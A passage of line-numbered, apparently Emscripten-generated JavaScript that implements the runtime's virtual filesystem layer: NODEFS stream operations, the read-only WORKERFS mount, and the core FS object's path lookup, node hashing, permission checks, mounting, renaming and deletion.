  2767. if (FS.isFile(stream.node.mode) && stream.nfd) {
  2768. fs.closeSync(stream.nfd)
  2769. }
  2770. } catch (e) {
  2771. if (!e.code) throw e;
  2772. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2773. }
  2774. }),
  2775. read: (function(stream, buffer, offset, length, position) {
  2776. if (length === 0) return 0;
  2777. var nbuffer = new Buffer(length);
  2778. var res;
  2779. try {
  2780. res = fs.readSync(stream.nfd, nbuffer, 0, length, position)
  2781. } catch (e) {
  2782. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2783. }
  2784. if (res > 0) {
  2785. for (var i = 0; i < res; i++) {
  2786. buffer[offset + i] = nbuffer[i]
  2787. }
  2788. }
  2789. return res
  2790. }),
  2791. write: (function(stream, buffer, offset, length, position) {
  2792. var nbuffer = new Buffer(buffer.subarray(offset, offset + length));
  2793. var res;
  2794. try {
  2795. res = fs.writeSync(stream.nfd, nbuffer, 0, length, position)
  2796. } catch (e) {
  2797. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2798. }
  2799. return res
  2800. }),
  2801. llseek: (function(stream, offset, whence) {
  2802. var position = offset;
  2803. if (whence === 1) {
  2804. position += stream.position
  2805. } else if (whence === 2) {
  2806. if (FS.isFile(stream.node.mode)) {
  2807. try {
  2808. var stat = fs.fstatSync(stream.nfd);
  2809. position += stat.size
  2810. } catch (e) {
  2811. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2812. }
  2813. }
  2814. }
  2815. if (position < 0) {
  2816. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2817. }
  2818. return position
  2819. })
  2820. }
  2821. };
  2822. var WORKERFS = {
  2823. DIR_MODE: 16895,
  2824. FILE_MODE: 33279,
  2825. reader: null,
  2826. mount: (function(mount) {
  2827. assert(ENVIRONMENT_IS_WORKER);
  2828. if (!WORKERFS.reader) WORKERFS.reader = new FileReaderSync;
  2829. var root = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0);
  2830. var createdParents = {};
  2831.  
  2832. function ensureParent(path) {
  2833. var parts = path.split("/");
  2834. var parent = root;
  2835. for (var i = 0; i < parts.length - 1; i++) {
  2836. var curr = parts.slice(0, i + 1).join("/");
  2837. if (!createdParents[curr]) {
  2838. createdParents[curr] = WORKERFS.createNode(parent, parts[i], WORKERFS.DIR_MODE, 0)
  2839. }
  2840. parent = createdParents[curr]
  2841. }
  2842. return parent
  2843. }
  2844.  
  2845. function base(path) {
  2846. var parts = path.split("/");
  2847. return parts[parts.length - 1]
  2848. }
  2849. Array.prototype.forEach.call(mount.opts["files"] || [], (function(file) {
  2850. WORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file, file.lastModifiedDate)
  2851. }));
  2852. (mount.opts["blobs"] || []).forEach((function(obj) {
  2853. WORKERFS.createNode(ensureParent(obj["name"]), base(obj["name"]), WORKERFS.FILE_MODE, 0, obj["data"])
  2854. }));
  2855. (mount.opts["packages"] || []).forEach((function(pack) {
  2856. pack["metadata"].files.forEach((function(file) {
  2857. var name = file.filename.substr(1);
  2858. WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0, pack["blob"].slice(file.start, file.end))
  2859. }))
  2860. }));
  2861. return root
  2862. }),
  2863. createNode: (function(parent, name, mode, dev, contents, mtime) {
  2864. var node = FS.createNode(parent, name, mode);
  2865. node.mode = mode;
  2866. node.node_ops = WORKERFS.node_ops;
  2867. node.stream_ops = WORKERFS.stream_ops;
  2868. node.timestamp = (mtime || new Date).getTime();
  2869. assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE);
  2870. if (mode === WORKERFS.FILE_MODE) {
  2871. node.size = contents.size;
  2872. node.contents = contents
  2873. } else {
  2874. node.size = 4096;
  2875. node.contents = {}
  2876. }
  2877. if (parent) {
  2878. parent.contents[name] = node
  2879. }
  2880. return node
  2881. }),
  2882. node_ops: {
  2883. getattr: (function(node) {
  2884. return {
  2885. dev: 1,
  2886. ino: undefined,
  2887. mode: node.mode,
  2888. nlink: 1,
  2889. uid: 0,
  2890. gid: 0,
  2891. rdev: undefined,
  2892. size: node.size,
  2893. atime: new Date(node.timestamp),
  2894. mtime: new Date(node.timestamp),
  2895. ctime: new Date(node.timestamp),
  2896. blksize: 4096,
  2897. blocks: Math.ceil(node.size / 4096)
  2898. }
  2899. }),
  2900. setattr: (function(node, attr) {
  2901. if (attr.mode !== undefined) {
  2902. node.mode = attr.mode
  2903. }
  2904. if (attr.timestamp !== undefined) {
  2905. node.timestamp = attr.timestamp
  2906. }
  2907. }),
  2908. lookup: (function(parent, name) {
  2909. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  2910. }),
  2911. mknod: (function(parent, name, mode, dev) {
  2912. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2913. }),
  2914. rename: (function(oldNode, newDir, newName) {
  2915. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2916. }),
  2917. unlink: (function(parent, name) {
  2918. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2919. }),
  2920. rmdir: (function(parent, name) {
  2921. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2922. }),
  2923. readdir: (function(node) {
  2924. var entries = [".", ".."];
  2925. for (var key in node.contents) {
  2926. if (!node.contents.hasOwnProperty(key)) {
  2927. continue
  2928. }
  2929. entries.push(key)
  2930. }
  2931. return entries
  2932. }),
  2933. symlink: (function(parent, newName, oldPath) {
  2934. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2935. }),
  2936. readlink: (function(node) {
  2937. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2938. })
  2939. },
  2940. stream_ops: {
  2941. read: (function(stream, buffer, offset, length, position) {
  2942. if (position >= stream.node.size) return 0;
  2943. var chunk = stream.node.contents.slice(position, position + length);
  2944. var ab = WORKERFS.reader.readAsArrayBuffer(chunk);
  2945. buffer.set(new Uint8Array(ab), offset);
  2946. return chunk.size
  2947. }),
  2948. write: (function(stream, buffer, offset, length, position) {
  2949. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  2950. }),
  2951. llseek: (function(stream, offset, whence) {
  2952. var position = offset;
  2953. if (whence === 1) {
  2954. position += stream.position
  2955. } else if (whence === 2) {
  2956. if (FS.isFile(stream.node.mode)) {
  2957. position += stream.node.size
  2958. }
  2959. }
  2960. if (position < 0) {
  2961. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2962. }
  2963. return position
  2964. })
  2965. }
  2966. };
  2967. STATICTOP += 16;
  2968. STATICTOP += 16;
  2969. STATICTOP += 16;
  2970. var FS = {
  2971. root: null,
  2972. mounts: [],
  2973. devices: [null],
  2974. streams: [],
  2975. nextInode: 1,
  2976. nameTable: null,
  2977. currentPath: "/",
  2978. initialized: false,
  2979. ignorePermissions: true,
  2980. trackingDelegate: {},
  2981. tracking: {
  2982. openFlags: {
  2983. READ: 1,
  2984. WRITE: 2
  2985. }
  2986. },
  2987. ErrnoError: null,
  2988. genericErrors: {},
  2989. filesystems: null,
  2990. syncFSRequests: 0,
  2991. handleFSError: (function(e) {
  2992. if (!(e instanceof FS.ErrnoError)) throw e + " : " + stackTrace();
  2993. return ___setErrNo(e.errno)
  2994. }),
  2995. lookupPath: (function(path, opts) {
  2996. path = PATH.resolve(FS.cwd(), path);
  2997. opts = opts || {};
  2998. if (!path) return {
  2999. path: "",
  3000. node: null
  3001. };
  3002. var defaults = {
  3003. follow_mount: true,
  3004. recurse_count: 0
  3005. };
  3006. for (var key in defaults) {
  3007. if (opts[key] === undefined) {
  3008. opts[key] = defaults[key]
  3009. }
  3010. }
  3011. if (opts.recurse_count > 8) {
  3012. throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3013. }
  3014. var parts = PATH.normalizeArray(path.split("/").filter((function(p) {
  3015. return !!p
  3016. })), false);
  3017. var current = FS.root;
  3018. var current_path = "/";
  3019. for (var i = 0; i < parts.length; i++) {
  3020. var islast = i === parts.length - 1;
  3021. if (islast && opts.parent) {
  3022. break
  3023. }
  3024. current = FS.lookupNode(current, parts[i]);
  3025. current_path = PATH.join2(current_path, parts[i]);
  3026. if (FS.isMountpoint(current)) {
  3027. if (!islast || islast && opts.follow_mount) {
  3028. current = current.mounted.root
  3029. }
  3030. }
  3031. if (!islast || opts.follow) {
  3032. var count = 0;
  3033. while (FS.isLink(current.mode)) {
  3034. var link = FS.readlink(current_path);
  3035. current_path = PATH.resolve(PATH.dirname(current_path), link);
  3036. var lookup = FS.lookupPath(current_path, {
  3037. recurse_count: opts.recurse_count
  3038. });
  3039. current = lookup.node;
  3040. if (count++ > 40) {
  3041. throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3042. }
  3043. }
  3044. }
  3045. }
  3046. return {
  3047. path: current_path,
  3048. node: current
  3049. }
  3050. }),
  3051. getPath: (function(node) {
  3052. var path;
  3053. while (true) {
  3054. if (FS.isRoot(node)) {
  3055. var mount = node.mount.mountpoint;
  3056. if (!path) return mount;
  3057. return mount[mount.length - 1] !== "/" ? mount + "/" + path : mount + path
  3058. }
  3059. path = path ? node.name + "/" + path : node.name;
  3060. node = node.parent
  3061. }
  3062. }),
  3063. hashName: (function(parentid, name) {
  3064. var hash = 0;
  3065. for (var i = 0; i < name.length; i++) {
  3066. hash = (hash << 5) - hash + name.charCodeAt(i) | 0
  3067. }
  3068. return (parentid + hash >>> 0) % FS.nameTable.length
  3069. }),
  3070. hashAddNode: (function(node) {
  3071. var hash = FS.hashName(node.parent.id, node.name);
  3072. node.name_next = FS.nameTable[hash];
  3073. FS.nameTable[hash] = node
  3074. }),
  3075. hashRemoveNode: (function(node) {
  3076. var hash = FS.hashName(node.parent.id, node.name);
  3077. if (FS.nameTable[hash] === node) {
  3078. FS.nameTable[hash] = node.name_next
  3079. } else {
  3080. var current = FS.nameTable[hash];
  3081. while (current) {
  3082. if (current.name_next === node) {
  3083. current.name_next = node.name_next;
  3084. break
  3085. }
  3086. current = current.name_next
  3087. }
  3088. }
  3089. }),
  3090. lookupNode: (function(parent, name) {
  3091. var err = FS.mayLookup(parent);
  3092. if (err) {
  3093. throw new FS.ErrnoError(err, parent)
  3094. }
  3095. var hash = FS.hashName(parent.id, name);
  3096. for (var node = FS.nameTable[hash]; node; node = node.name_next) {
  3097. var nodeName = node.name;
  3098. if (node.parent.id === parent.id && nodeName === name) {
  3099. return node
  3100. }
  3101. }
  3102. return FS.lookup(parent, name)
  3103. }),
  3104. createNode: (function(parent, name, mode, rdev) {
  3105. if (!FS.FSNode) {
  3106. FS.FSNode = (function(parent, name, mode, rdev) {
  3107. if (!parent) {
  3108. parent = this
  3109. }
  3110. this.parent = parent;
  3111. this.mount = parent.mount;
  3112. this.mounted = null;
  3113. this.id = FS.nextInode++;
  3114. this.name = name;
  3115. this.mode = mode;
  3116. this.node_ops = {};
  3117. this.stream_ops = {};
  3118. this.rdev = rdev
  3119. });
  3120. FS.FSNode.prototype = {};
  3121. var readMode = 292 | 73;
  3122. var writeMode = 146;
  3123. Object.defineProperties(FS.FSNode.prototype, {
  3124. read: {
  3125. get: (function() {
  3126. return (this.mode & readMode) === readMode
  3127. }),
  3128. set: (function(val) {
  3129. val ? this.mode |= readMode : this.mode &= ~readMode
  3130. })
  3131. },
  3132. write: {
  3133. get: (function() {
  3134. return (this.mode & writeMode) === writeMode
  3135. }),
  3136. set: (function(val) {
  3137. val ? this.mode |= writeMode : this.mode &= ~writeMode
  3138. })
  3139. },
  3140. isFolder: {
  3141. get: (function() {
  3142. return FS.isDir(this.mode)
  3143. })
  3144. },
  3145. isDevice: {
  3146. get: (function() {
  3147. return FS.isChrdev(this.mode)
  3148. })
  3149. }
  3150. })
  3151. }
  3152. var node = new FS.FSNode(parent, name, mode, rdev);
  3153. FS.hashAddNode(node);
  3154. return node
  3155. }),
  3156. destroyNode: (function(node) {
  3157. FS.hashRemoveNode(node)
  3158. }),
  3159. isRoot: (function(node) {
  3160. return node === node.parent
  3161. }),
  3162. isMountpoint: (function(node) {
  3163. return !!node.mounted
  3164. }),
  3165. isFile: (function(mode) {
  3166. return (mode & 61440) === 32768
  3167. }),
  3168. isDir: (function(mode) {
  3169. return (mode & 61440) === 16384
  3170. }),
  3171. isLink: (function(mode) {
  3172. return (mode & 61440) === 40960
  3173. }),
  3174. isChrdev: (function(mode) {
  3175. return (mode & 61440) === 8192
  3176. }),
  3177. isBlkdev: (function(mode) {
  3178. return (mode & 61440) === 24576
  3179. }),
  3180. isFIFO: (function(mode) {
  3181. return (mode & 61440) === 4096
  3182. }),
  3183. isSocket: (function(mode) {
  3184. return (mode & 49152) === 49152
  3185. }),
  3186. flagModes: {
  3187. "r": 0,
  3188. "rs": 1052672,
  3189. "r+": 2,
  3190. "w": 577,
  3191. "wx": 705,
  3192. "xw": 705,
  3193. "w+": 578,
  3194. "wx+": 706,
  3195. "xw+": 706,
  3196. "a": 1089,
  3197. "ax": 1217,
  3198. "xa": 1217,
  3199. "a+": 1090,
  3200. "ax+": 1218,
  3201. "xa+": 1218
  3202. },
  3203. modeStringToFlags: (function(str) {
  3204. var flags = FS.flagModes[str];
  3205. if (typeof flags === "undefined") {
  3206. throw new Error("Unknown file open mode: " + str)
  3207. }
  3208. return flags
  3209. }),
  3210. flagsToPermissionString: (function(flag) {
  3211. var perms = ["r", "w", "rw"][flag & 3];
  3212. if (flag & 512) {
  3213. perms += "w"
  3214. }
  3215. return perms
  3216. }),
  3217. nodePermissions: (function(node, perms) {
  3218. if (FS.ignorePermissions) {
  3219. return 0
  3220. }
  3221. if (perms.indexOf("r") !== -1 && !(node.mode & 292)) {
  3222. return ERRNO_CODES.EACCES
  3223. } else if (perms.indexOf("w") !== -1 && !(node.mode & 146)) {
  3224. return ERRNO_CODES.EACCES
  3225. } else if (perms.indexOf("x") !== -1 && !(node.mode & 73)) {
  3226. return ERRNO_CODES.EACCES
  3227. }
  3228. return 0
  3229. }),
  3230. mayLookup: (function(dir) {
  3231. var err = FS.nodePermissions(dir, "x");
  3232. if (err) return err;
  3233. if (!dir.node_ops.lookup) return ERRNO_CODES.EACCES;
  3234. return 0
  3235. }),
  3236. mayCreate: (function(dir, name) {
  3237. try {
  3238. var node = FS.lookupNode(dir, name);
  3239. return ERRNO_CODES.EEXIST
  3240. } catch (e) {}
  3241. return FS.nodePermissions(dir, "wx")
  3242. }),
  3243. mayDelete: (function(dir, name, isdir) {
  3244. var node;
  3245. try {
  3246. node = FS.lookupNode(dir, name)
  3247. } catch (e) {
  3248. return e.errno
  3249. }
  3250. var err = FS.nodePermissions(dir, "wx");
  3251. if (err) {
  3252. return err
  3253. }
  3254. if (isdir) {
  3255. if (!FS.isDir(node.mode)) {
  3256. return ERRNO_CODES.ENOTDIR
  3257. }
  3258. if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) {
  3259. return ERRNO_CODES.EBUSY
  3260. }
  3261. } else {
  3262. if (FS.isDir(node.mode)) {
  3263. return ERRNO_CODES.EISDIR
  3264. }
  3265. }
  3266. return 0
  3267. }),
  3268. mayOpen: (function(node, flags) {
  3269. if (!node) {
  3270. return ERRNO_CODES.ENOENT
  3271. }
  3272. if (FS.isLink(node.mode)) {
  3273. return ERRNO_CODES.ELOOP
  3274. } else if (FS.isDir(node.mode)) {
  3275. if (FS.flagsToPermissionString(flags) !== "r" || flags & 512) {
  3276. return ERRNO_CODES.EISDIR
  3277. }
  3278. }
  3279. return FS.nodePermissions(node, FS.flagsToPermissionString(flags))
  3280. }),
  3281. MAX_OPEN_FDS: 4096,
  3282. nextfd: (function(fd_start, fd_end) {
  3283. fd_start = fd_start || 0;
  3284. fd_end = fd_end || FS.MAX_OPEN_FDS;
  3285. for (var fd = fd_start; fd <= fd_end; fd++) {
  3286. if (!FS.streams[fd]) {
  3287. return fd
  3288. }
  3289. }
  3290. throw new FS.ErrnoError(ERRNO_CODES.EMFILE)
  3291. }),
  3292. getStream: (function(fd) {
  3293. return FS.streams[fd]
  3294. }),
  3295. createStream: (function(stream, fd_start, fd_end) {
  3296. if (!FS.FSStream) {
  3297. FS.FSStream = (function() {});
  3298. FS.FSStream.prototype = {};
  3299. Object.defineProperties(FS.FSStream.prototype, {
  3300. object: {
  3301. get: (function() {
  3302. return this.node
  3303. }),
  3304. set: (function(val) {
  3305. this.node = val
  3306. })
  3307. },
  3308. isRead: {
  3309. get: (function() {
  3310. return (this.flags & 2097155) !== 1
  3311. })
  3312. },
  3313. isWrite: {
  3314. get: (function() {
  3315. return (this.flags & 2097155) !== 0
  3316. })
  3317. },
  3318. isAppend: {
  3319. get: (function() {
  3320. return this.flags & 1024
  3321. })
  3322. }
  3323. })
  3324. }
  3325. var newStream = new FS.FSStream;
  3326. for (var p in stream) {
  3327. newStream[p] = stream[p]
  3328. }
  3329. stream = newStream;
  3330. var fd = FS.nextfd(fd_start, fd_end);
  3331. stream.fd = fd;
  3332. FS.streams[fd] = stream;
  3333. return stream
  3334. }),
  3335. closeStream: (function(fd) {
  3336. FS.streams[fd] = null
  3337. }),
  3338. chrdev_stream_ops: {
  3339. open: (function(stream) {
  3340. var device = FS.getDevice(stream.node.rdev);
  3341. stream.stream_ops = device.stream_ops;
  3342. if (stream.stream_ops.open) {
  3343. stream.stream_ops.open(stream)
  3344. }
  3345. }),
  3346. llseek: (function() {
  3347. throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3348. })
  3349. },
  3350. major: (function(dev) {
  3351. return dev >> 8
  3352. }),
  3353. minor: (function(dev) {
  3354. return dev & 255
  3355. }),
  3356. makedev: (function(ma, mi) {
  3357. return ma << 8 | mi
  3358. }),
  3359. registerDevice: (function(dev, ops) {
  3360. FS.devices[dev] = {
  3361. stream_ops: ops
  3362. }
  3363. }),
  3364. getDevice: (function(dev) {
  3365. return FS.devices[dev]
  3366. }),
  3367. getMounts: (function(mount) {
  3368. var mounts = [];
  3369. var check = [mount];
  3370. while (check.length) {
  3371. var m = check.pop();
  3372. mounts.push(m);
  3373. check.push.apply(check, m.mounts)
  3374. }
  3375. return mounts
  3376. }),
  3377. syncfs: (function(populate, callback) {
  3378. if (typeof populate === "function") {
  3379. callback = populate;
  3380. populate = false
  3381. }
  3382. FS.syncFSRequests++;
  3383. if (FS.syncFSRequests > 1) {
  3384. console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work")
  3385. }
  3386. var mounts = FS.getMounts(FS.root.mount);
  3387. var completed = 0;
  3388.  
  3389. function doCallback(err) {
  3390. assert(FS.syncFSRequests > 0);
  3391. FS.syncFSRequests--;
  3392. return callback(err)
  3393. }
  3394.  
  3395. function done(err) {
  3396. if (err) {
  3397. if (!done.errored) {
  3398. done.errored = true;
  3399. return doCallback(err)
  3400. }
  3401. return
  3402. }
  3403. if (++completed >= mounts.length) {
  3404. doCallback(null)
  3405. }
  3406. }
  3407. mounts.forEach((function(mount) {
  3408. if (!mount.type.syncfs) {
  3409. return done(null)
  3410. }
  3411. mount.type.syncfs(mount, populate, done)
  3412. }))
  3413. }),
  3414. mount: (function(type, opts, mountpoint) {
  3415. var root = mountpoint === "/";
  3416. var pseudo = !mountpoint;
  3417. var node;
  3418. if (root && FS.root) {
  3419. throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3420. } else if (!root && !pseudo) {
  3421. var lookup = FS.lookupPath(mountpoint, {
  3422. follow_mount: false
  3423. });
  3424. mountpoint = lookup.path;
  3425. node = lookup.node;
  3426. if (FS.isMountpoint(node)) {
  3427. throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3428. }
  3429. if (!FS.isDir(node.mode)) {
  3430. throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3431. }
  3432. }
  3433. var mount = {
  3434. type: type,
  3435. opts: opts,
  3436. mountpoint: mountpoint,
  3437. mounts: []
  3438. };
  3439. var mountRoot = type.mount(mount);
  3440. mountRoot.mount = mount;
  3441. mount.root = mountRoot;
  3442. if (root) {
  3443. FS.root = mountRoot
  3444. } else if (node) {
  3445. node.mounted = mount;
  3446. if (node.mount) {
  3447. node.mount.mounts.push(mount)
  3448. }
  3449. }
  3450. return mountRoot
  3451. }),
  3452. unmount: (function(mountpoint) {
  3453. var lookup = FS.lookupPath(mountpoint, {
  3454. follow_mount: false
  3455. });
  3456. if (!FS.isMountpoint(lookup.node)) {
  3457. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3458. }
  3459. var node = lookup.node;
  3460. var mount = node.mounted;
  3461. var mounts = FS.getMounts(mount);
  3462. Object.keys(FS.nameTable).forEach((function(hash) {
  3463. var current = FS.nameTable[hash];
  3464. while (current) {
  3465. var next = current.name_next;
  3466. if (mounts.indexOf(current.mount) !== -1) {
  3467. FS.destroyNode(current)
  3468. }
  3469. current = next
  3470. }
  3471. }));
  3472. node.mounted = null;
  3473. var idx = node.mount.mounts.indexOf(mount);
  3474. assert(idx !== -1);
  3475. node.mount.mounts.splice(idx, 1)
  3476. }),
  3477. lookup: (function(parent, name) {
  3478. return parent.node_ops.lookup(parent, name)
  3479. }),
  3480. mknod: (function(path, mode, dev) {
  3481. var lookup = FS.lookupPath(path, {
  3482. parent: true
  3483. });
  3484. var parent = lookup.node;
  3485. var name = PATH.basename(path);
  3486. if (!name || name === "." || name === "..") {
  3487. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3488. }
  3489. var err = FS.mayCreate(parent, name);
  3490. if (err) {
  3491. throw new FS.ErrnoError(err)
  3492. }
  3493. if (!parent.node_ops.mknod) {
  3494. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3495. }
  3496. return parent.node_ops.mknod(parent, name, mode, dev)
  3497. }),
  3498. create: (function(path, mode) {
  3499. mode = mode !== undefined ? mode : 438;
  3500. mode &= 4095;
  3501. mode |= 32768;
  3502. return FS.mknod(path, mode, 0)
  3503. }),
  3504. mkdir: (function(path, mode) {
  3505. mode = mode !== undefined ? mode : 511;
  3506. mode &= 511 | 512;
  3507. mode |= 16384;
  3508. return FS.mknod(path, mode, 0)
  3509. }),
  3510. mkdirTree: (function(path, mode) {
  3511. var dirs = path.split("/");
  3512. var d = "";
  3513. for (var i = 0; i < dirs.length; ++i) {
  3514. if (!dirs[i]) continue;
  3515. d += "/" + dirs[i];
  3516. try {
  3517. FS.mkdir(d, mode)
  3518. } catch (e) {
  3519. if (e.errno != ERRNO_CODES.EEXIST) throw e
  3520. }
  3521. }
  3522. }),
  3523. mkdev: (function(path, mode, dev) {
  3524. if (typeof dev === "undefined") {
  3525. dev = mode;
  3526. mode = 438
  3527. }
  3528. mode |= 8192;
  3529. return FS.mknod(path, mode, dev)
  3530. }),
  3531. symlink: (function(oldpath, newpath) {
  3532. if (!PATH.resolve(oldpath)) {
  3533. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3534. }
  3535. var lookup = FS.lookupPath(newpath, {
  3536. parent: true
  3537. });
  3538. var parent = lookup.node;
  3539. if (!parent) {
  3540. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3541. }
  3542. var newname = PATH.basename(newpath);
  3543. var err = FS.mayCreate(parent, newname);
  3544. if (err) {
  3545. throw new FS.ErrnoError(err)
  3546. }
  3547. if (!parent.node_ops.symlink) {
  3548. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3549. }
  3550. return parent.node_ops.symlink(parent, newname, oldpath)
  3551. }),
  3552. rename: (function(old_path, new_path) {
  3553. var old_dirname = PATH.dirname(old_path);
  3554. var new_dirname = PATH.dirname(new_path);
  3555. var old_name = PATH.basename(old_path);
  3556. var new_name = PATH.basename(new_path);
  3557. var lookup, old_dir, new_dir;
  3558. try {
  3559. lookup = FS.lookupPath(old_path, {
  3560. parent: true
  3561. });
  3562. old_dir = lookup.node;
  3563. lookup = FS.lookupPath(new_path, {
  3564. parent: true
  3565. });
  3566. new_dir = lookup.node
  3567. } catch (e) {
  3568. throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3569. }
  3570. if (!old_dir || !new_dir) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
  3571. if (old_dir.mount !== new_dir.mount) {
  3572. throw new FS.ErrnoError(ERRNO_CODES.EXDEV)
  3573. }
  3574. var old_node = FS.lookupNode(old_dir, old_name);
  3575. var relative = PATH.relative(old_path, new_dirname);
  3576. if (relative.charAt(0) !== ".") {
  3577. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3578. }
  3579. relative = PATH.relative(new_path, old_dirname);
  3580. if (relative.charAt(0) !== ".") {
  3581. throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  3582. }
  3583. var new_node;
  3584. try {
  3585. new_node = FS.lookupNode(new_dir, new_name)
  3586. } catch (e) {}
  3587. if (old_node === new_node) {
  3588. return
  3589. }
  3590. var isdir = FS.isDir(old_node.mode);
  3591. var err = FS.mayDelete(old_dir, old_name, isdir);
  3592. if (err) {
  3593. throw new FS.ErrnoError(err)
  3594. }
  3595. err = new_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name);
  3596. if (err) {
  3597. throw new FS.ErrnoError(err)
  3598. }
  3599. if (!old_dir.node_ops.rename) {
  3600. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3601. }
  3602. if (FS.isMountpoint(old_node) || new_node && FS.isMountpoint(new_node)) {
  3603. throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3604. }
  3605. if (new_dir !== old_dir) {
  3606. err = FS.nodePermissions(old_dir, "w");
  3607. if (err) {
  3608. throw new FS.ErrnoError(err)
  3609. }
  3610. }
  3611. try {
  3612. if (FS.trackingDelegate["willMovePath"]) {
  3613. FS.trackingDelegate["willMovePath"](old_path, new_path)
  3614. }
  3615. } catch (e) {
  3616. console.log("FS.trackingDelegate['willMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3617. }
  3618. FS.hashRemoveNode(old_node);
  3619. try {
  3620. old_dir.node_ops.rename(old_node, new_dir, new_name)
  3621. } catch (e) {
  3622. throw e
  3623. } finally {
  3624. FS.hashAddNode(old_node)
  3625. }
  3626. try {
  3627. if (FS.trackingDelegate["onMovePath"]) FS.trackingDelegate["onMovePath"](old_path, new_path)
  3628. } catch (e) {
  3629. console.log("FS.trackingDelegate['onMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3630. }
  3631. }),
  3632. rmdir: (function(path) {
  3633. var lookup = FS.lookupPath(path, {
  3634. parent: true
  3635. });
  3636. var parent = lookup.node;
  3637. var name = PATH.basename(path);
  3638. var node = FS.lookupNode(parent, name);
  3639. var err = FS.mayDelete(parent, name, true);
  3640. if (err) {
  3641. throw new FS.ErrnoError(err)
  3642. }
  3643. if (!parent.node_ops.rmdir) {
  3644. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3645. }
  3646. if (FS.isMountpoint(node)) {
  3647. throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3648. }
  3649. try {
  3650. if (FS.trackingDelegate["willDeletePath"]) {
  3651. FS.trackingDelegate["willDeletePath"](path)
  3652. }
  3653. } catch (e) {
  3654. console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  3655. }
  3656. parent.node_ops.rmdir(parent, name);
  3657. FS.destroyNode(node);
  3658. try {
  3659. if (FS.trackingDelegate["onDeletePath"]) FS.trackingDelegate["onDeletePath"](path)
  3660. } catch (e) {
  3661. console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  3662. }
  3663. }),
  3664. readdir: (function(path) {
  3665. var lookup = FS.lookupPath(path, {
  3666. follow: true
  3667. });
  3668. var node = lookup.node;
  3669. if (!node.node_ops.readdir) {
  3670. throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3671. }
  3672. return node.node_ops.readdir(node)
  3673. }),
  3674. unlink: (function(path) {
  3675. var lookup = FS.lookupPath(path, {
  3676. parent: true
  3677. });
  3678. var parent = lookup.node;
  3679. var name = PATH.basename(path);
  3680. var node = FS.lookupNode(parent, name);
  3681. var err = FS.mayDelete(parent, name, false);
  3682. if (err) {
  3683. throw new FS.ErrnoError(err)
  3684. }
  3685. if (!parent.node_ops.unlink) {
  3686. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3687. }
  3688. if (FS.isMountpoint(node)) {
  3689. throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3690. }
  3691. try {
  3692. if (FS.trackingDelegate["willDeletePath"]) {
  3693. FS.trackingDelegate["willDeletePath"](path)
  3694. }
  3695. } catch (e) {
  3696. console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  3697. }
  3698. parent.node_ops.unlink(parent, name);
  3699. FS.destroyNode(node);
  3700. try {
  3701. if (FS.trackingDelegate["onDeletePath"]) FS.trackingDelegate["onDeletePath"](path)
  3702. } catch (e) {
  3703. console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  3704. }
  3705. }),
  3706. readlink: (function(path) {
  3707. var lookup = FS.lookupPath(path);
  3708. var link = lookup.node;
  3709. if (!link) {
  3710. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3711. }
  3712. if (!link.node_ops.readlink) {
  3713. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3714. }
  3715. return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link))
  3716. }),
  3717. stat: (function(path, dontFollow) {
  3718. var lookup = FS.lookupPath(path, {
  3719. follow: !dontFollow
  3720. });
  3721. var node = lookup.node;
  3722. if (!node) {
  3723. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3724. }
  3725. if (!node.node_ops.getattr) {
